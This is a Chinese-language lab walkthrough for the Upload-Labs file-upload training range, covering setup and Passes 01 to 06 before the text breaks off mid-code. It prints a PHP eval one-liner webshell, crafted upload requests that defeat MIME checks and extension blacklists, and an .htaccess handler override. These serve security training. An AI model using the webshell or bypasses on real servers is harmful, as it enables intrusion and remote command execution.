网络知识 娱乐 Upload-Labs靶场 1-21全通关教程

Upload-Labs靶场 1-21全通关教程

Upload-Labs通关

  • 靶场介绍
  • 安装
  • 文件上传漏洞介绍
  • BurpSuite的简单使用
      • 安装BurpSuite
      • 配合Firefox使用
  • 万能WebShell
  • 正文开始
      • Pass-01
      • Pass-02
      • Pass-03
      • Pass-04
      • Pass-05
      • Pass-06
      • Pass-07
      • Pass-08
      • Pass-09
      • Pass-10
      • Pass-11
      • Pass-12
      • Pass-13
      • Pass-14
      • Pass-15
      • Pass-16
      • Pass-17
        • GIF图片绕过
        • PNG图片绕过
      • Pass-18
      • Pass-19
      • Pass-20
      • Pass-21
  • 附录
      • MIME类型
      • PNG图片结构
      • ::$DATA标记
      • PHP文件常见别名
      • PHP超级全局变量
      • 常见PHP函数参考手册

靶场介绍

Upload-Labs是一个使用PHP语言编写、专注于文件上传漏洞的闯关式网络安全靶场。练习该靶场可以有效地了解并掌握文件上传漏洞的原理、利用方法和修复方案。
GitHub项目地址
界面图提醒:学习此靶场仅需要Firefox、BurpSuite和PHP基础知识即可,不会PHP的请先去看菜鸟教程。

安装

Upload-Labs安装建议环境如下:

  1. Windows用户建议使用PHPStudy,Linux用户建议使用XAMPP或Docker。下载地址:
    - PHPStudy官网
    - XAMPP官网
  2. PHP版本建议使用5.2.17,否则部分Pass可能无法绕过。
  3. 需要开启以下PHP组件:php-gd2 php-exif
  4. Apache以moudel方式连接。
  5. 特别提醒:Pass-19在Linux上运行。
  6. 废话不多说,开整。

文件上传漏洞介绍

在练习靶场前介绍一下文件上传漏洞是有必要的。
文件上传漏洞,顾名思义,就是攻击者通过一些方法绕过了客户端验证(JavaScript前端验证,100%可以用中间人攻击绕过)和服务端验证(如后缀名、MIME类型验证)上传了非预期的脚本文件导致服务器被植入木马并获得了服务器的命令执行权限,一般为高危漏洞。

常见防御方法:

  1. 前端验证(防君子):在前端对文件后缀名进行过滤,最好只留下允许上传的文件后缀名,但攻击者(小人)可以轻松地绕过前端验证。
  2. 后端文件名验证:在后端对文件后缀名执行白名单校验,不在白名单内的禁止上传
  3. 文件头校验:查看文件头与后缀名是否匹配。
  4. 最重要的安全策略:将上传的文件放到另一个专用文件服务器中(类似于站库分离);如果没有专用文件服务器,就取消上传目录的执行权限;将上传文件进行重新命名,必要时不显示上传路径

BurpSuite的简单使用

BurpSuite是一款神仙般的用于攻击Web应用程序的集成平台,包含了许多工具。
常用模块:
1.Proxy(HTTP/HTTPS数据包拦截修改器)
2.Spider(网络爬虫)
3.Scanner(智能漏洞扫描器,仅限人民币玩家
4.Intruder(可定制工具,对Web应用执行自动化攻击)
5.Repeater(手动发送HTTP/HTTPS请求包)
6.Sequencer
7.Decoder(用于编/解码各种数据)
8.Comparer
下面只介绍本教程常用的Proxy模块

安装BurpSuite

BurpSuite使用Java语言开发,请下载安装Java运行环境(JRE)。
BurpSuite官网
Java JRE

配合Firefox使用

1.双击启动BurpSuite。
BurpSuite启动页2.依次点击“Next”和“Start Burp”按钮启动BurpSuite。
3.点击“Proxy”选项卡进入HTTP(S)包拦截界面。默认代理地址:127.0.0.1:8080,点击“Intercept is off”开始拦截,再点击一次关闭拦截。
拦截界面4.在Firefox设置中查找“代理”,将代理服务器地址设置为127.0.0.1:8080,你也可以使用FoxyProxy插件便捷地设置代理。
Firefox代理设置页

万能WebShell

<?php @eval($_POST['cmd']); ?>	// PHP一句话,使用中国蚁剑连接 
<?php phpinfo(); ?>	// 为方便观察,只显示PHP基本信息,无控制功能 

正文开始

Pass-01

任务:上传一个WebShell到服务器。
提示:本pass在客户端使用js对不合法图片进行检查!
源代码:

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

分析:使用JavaScript在客户端验证,直接禁用JavaScript即可。也可以将WebShell后缀名改为.jpg后使用BurpSuite拦截改包,将后缀名改为.php绕过。
防御方法:一定要加后端验证!!详细方法之后讨论。

Pass-02

任务:上传一个webshell到服务器。
提示:本pass在服务端对数据包的MIME进行检查!
源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

分析:Pass-02的后端验证仅仅使用了MIME类型进行验证,这样是不安全的。我们仍然可以使用BurpSuite伪造MIME类型绕过验证。将Content-type改为image/png即可。
HTTP EXP:

Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png		// 将Content-type改为白名单中的类型即可


上传成功成功上传

Pass-03

任务:上传一个WebShell到服务器。
提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

分析:
Pass-03进行了如下防护操作:1.黑名单为.asp .aspx.php.jsp 2.删除文件名首尾空格 3.删除文件名末尾的点 4.将后缀名转为小写 5.去除::$DATA数据流标记 6.使用随机数重命名文件。但我们可以上传PHP文件的别名进行黑名单绕过

HTTP EXP:直接将shell.php改为shell.phtml或其他别名上传即可。

Pass-04

任务:上传一个WebShell到服务器。
提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

分析1:
Pass-04做了如下防护操作:1.黑名单包含了大多数脚本后缀名 2.删除文件名首尾空格 3.删除文件名末尾的点 4.将后缀名转为小写 5.去除::$DATA数据流标记。但代码中并没有通过循环判断上传的文件是否有多个后缀名,所以我们可以构造文件名使最后经过滤的文件后缀名仍为.php。
分析2:可以使用htaccess解析漏洞进行攻击。

<FilesMatch "shell.jpg">
Sethandler application/x-httpd-php
</FilesMatch>

代码中未限制.htaccess文件上传,上传以上内容的.htaccess文件后会将shell.jpg当成PHP文件解析执行。

HTTP EXP1:将文件后缀名改为“点+空格+点”的格式,这样file_ext会变为空,成功绕过黑名单上传。Windows会自动删除文件名最后的点,最后变为shell.php。

Content-Disposition: form-data; name="upload_file"; filename="shell.php. ."

HTTP EXP2:上传.htaccess文件和shell.jpg。

Pass-05

任务:上传一个WebShell到服务器。
提示:上传目录存在php文件(readme.php) // 其实感觉提示不看也没关系。。
源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

分析:和Pass-04一样,代码中只过滤了一次点,删除了空格和::$DATA,将文件后缀改为小写,黑名单等,使用Pass-04的方法绕过即可。但黑名单中屏蔽了.htaccess文件。

HTTP EXP:文件名改为“shell.php. . ”。

Pass-06

任务:上传一个WebShell到服务器。
提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!

源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;